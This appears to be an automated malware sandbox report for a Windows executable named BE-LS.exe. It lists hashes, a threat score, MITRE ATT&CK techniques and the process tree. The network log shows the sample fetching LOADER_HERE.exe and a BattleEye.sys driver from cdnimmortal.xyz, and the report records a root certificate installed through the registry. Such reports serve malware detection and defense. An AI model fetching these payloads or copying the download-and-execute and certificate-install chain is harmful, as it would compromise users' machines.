1c6eaa150b49c636b4b64321fb92be9d4a431c89db471d32e5dc2444a6f54c61

General

Target

BE-LS.exe
Size

64.4MB
MD5

17225dd0181b9daecb53a5f514b42c33
SHA1

cb254d82f9fa4c852015492eced179e50ea7927a
SHA256

1c6eaa150b49c636b4b64321fb92be9d4a431c89db471d32e5dc2444a6f54c61
SHA512

3e2d104fb7cf83dae2c6293d70b6da1800330373f0986c295cf84a4ff6be1ac7ab1f8336672a7cd1ffd73c0f31412952218b5b5912f4bb869981fbb403a1889f
SSDEEP

393216:pjaZgP8kQCoo53we9r9OJ/sbA9ZhGInxtnWxvdiQ2OUNpCEp7kN3VkQGQPNLFu4v:hkghQCk49Otsbyx1DOUNoER7g5

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1808	LOADER_HERE.exe

Loads dropped DLL 1 IoCs

pid	Process
2128	BE-LS.exe

Modifies system certificate store 2 TTPs 2 IoCs

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	BE-LS.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	BE-LS.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 1808	2128	BE-LS.exe	32
PID 2128 wrote to memory of 1808	2128	BE-LS.exe	32
PID 2128 wrote to memory of 1808	2128	BE-LS.exe	32

C:\Users\Admin\AppData\Local\Temp\BE-LS.exe
"C:\Users\Admin\AppData\Local\Temp\BE-LS.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Users\Admin\AppData\Local\Temp\LOADER_HERE.exe
  "C:\Users\Admin\AppData\Local\Temp\LOADER_HERE.exe" C:\Users\Admin\AppData\Local\Temp\BattleEye.sys
  2⤵
  - Executes dropped EXE
  PID:1808

Network

DNS

cdnimmortal.xyz

BE-LS.exe

Remote address:

8.8.8.8:53

Request

cdnimmortal.xyz

IN A

Response

cdnimmortal.xyz

IN A

185.199.109.153

cdnimmortal.xyz

IN A

185.199.111.153

cdnimmortal.xyz

IN A

185.199.110.153

cdnimmortal.xyz

IN A

185.199.108.153
GET

https://cdnimmortal.xyz/LOADER_HERE.exe

BE-LS.exe

Remote address:

185.199.109.153:443

Request

GET /LOADER_HERE.exe HTTP/1.1
Host: cdnimmortal.xyz
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 547328
Server: GitHub.com
Content-Type: application/octet-stream
Last-Modified: Wed, 04 Sep 2024 21:13:32 GMT
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31556952
ETag: "66d8cd7c-85a00"
expires: Fri, 06 Sep 2024 18:02:29 GMT
Cache-Control: max-age=600
x-proxy-cache: MISS
X-GitHub-Request-Id: B05B:2BA494:394A9ED:39D349D:66DB415D
Accept-Ranges: bytes
Age: 0
Date: Fri, 06 Sep 2024 17:52:29 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600048-LCY
X-Cache: MISS
X-Cache-Hits: 0
X-Timer: S1725645149.328191,VS0,VE93
Vary: Accept-Encoding
X-Fastly-Request-ID: c42d147582bea71fcc4743f9317a6401862bb10d
GET

https://cdnimmortal.xyz/BattleEye.sys

BE-LS.exe

Remote address:

185.199.109.153:443

Request

GET /BattleEye.sys HTTP/1.1
Host: cdnimmortal.xyz
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 11695
Server: GitHub.com
Content-Type: application/octet-stream
Last-Modified: Wed, 04 Sep 2024 21:13:32 GMT
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31556952
ETag: "66d8cd7c-2daf"
expires: Fri, 06 Sep 2024 18:02:29 GMT
Cache-Control: max-age=600
x-proxy-cache: MISS
X-GitHub-Request-Id: D673:30A21E:3281ED4:32F3B39:66DB4159
Accept-Ranges: bytes
Age: 0
Date: Fri, 06 Sep 2024 17:52:29 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600048-LCY
X-Cache: MISS
X-Cache-Hits: 0
X-Timer: S1725645150.616374,VS0,VE99
Vary: Accept-Encoding
X-Fastly-Request-ID: 2d8db09e8e458d4f30386919fe84ec989d71d519

185.199.109.153:443

https://cdnimmortal.xyz/BattleEye.sys

tls, http

BE-LS.exe

10.8kB
585.9kB
222
435

HTTP Request

GET https://cdnimmortal.xyz/LOADER_HERE.exe

HTTP Response

200

HTTP Request

GET https://cdnimmortal.xyz/BattleEye.sys

HTTP Response

200

8.8.8.8:53

cdnimmortal.xyz

dns

BE-LS.exe

61 B
125 B
1
1

DNS Request

cdnimmortal.xyz

DNS Response

185.199.109.153

185.199.111.153

185.199.110.153

185.199.108.153

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\LOADER_HERE.exe

Filesize
534KB

MD5
cd4d08af76e7614f46bc853cf82cebc6

SHA1
94e75dac14976227c1c33ae48866e820db52aa1a

SHA256
f03d6b156974af96b66b3913bbcdf49609720f37f2e69c4222c2d0920f442f58

SHA512
b24396f3973156d8aef58203a0bcf1d542362e8591509e054488d6562fcf60e3cd628db0252a45ead220b4c7e82f065092e8a6145fcbfc399b4ca86f17084d99

Download Submit
memory/1808-108-0x000000013F480000-0x000000013F533000-memory.dmp

Filesize
716KB

Download
memory/1808-107-0x000000013F480000-0x000000013F533000-memory.dmp

Filesize
716KB

Download
memory/2128-37-0x0000000004760000-0x00000000047A0000-memory.dmp

Filesize
256KB

Download
memory/2128-29-0x0000000004610000-0x0000000004650000-memory.dmp

Filesize
256KB

Download
memory/2128-17-0x00000000025E0000-0x0000000002610000-memory.dmp

Filesize
192KB

Download
memory/2128-41-0x00000000047F0000-0x0000000004830000-memory.dmp

Filesize
256KB

Download
memory/2128-49-0x0000000004880000-0x00000000048A0000-memory.dmp

Filesize
128KB

Download
memory/2128-53-0x0000000004A50000-0x0000000004C00000-memory.dmp

Filesize
1.7MB

Download
memory/2128-45-0x00000000020D0000-0x00000000020E0000-memory.dmp

Filesize
64KB

Download
memory/2128-2-0x0000000003440000-0x00000000040D0000-memory.dmp

Filesize
12.6MB

Download
memory/2128-33-0x00000000046B0000-0x0000000004710000-memory.dmp

Filesize
384KB

Download
memory/2128-4-0x0000000001E60000-0x0000000001E90000-memory.dmp

Filesize
192KB

Download
memory/2128-25-0x0000000004570000-0x00000000045C0000-memory.dmp

Filesize
320KB

Download
memory/2128-21-0x00000000044F0000-0x0000000004510000-memory.dmp

Filesize
128KB

Download
memory/2128-57-0x0000000004F50000-0x0000000004FA0000-memory.dmp

Filesize
320KB

Download
memory/2128-65-0x0000000005010000-0x0000000005020000-memory.dmp

Filesize
64KB

Download
memory/2128-61-0x0000000004FD0000-0x0000000005000000-memory.dmp

Filesize
192KB

Download
memory/2128-8-0x0000000002020000-0x0000000002040000-memory.dmp

Filesize
128KB

Download
memory/2128-16-0x000000013FE6D000-0x000000013FE6E000-memory.dmp

Filesize
4KB

Download
memory/2128-105-0x000000013F480000-0x000000013F533000-memory.dmp

Filesize
716KB

Download
memory/2128-12-0x0000000002060000-0x0000000002080000-memory.dmp

Filesize
128KB

Download
memory/2128-111-0x000000013F480000-0x000000013F533000-memory.dmp

Filesize
716KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

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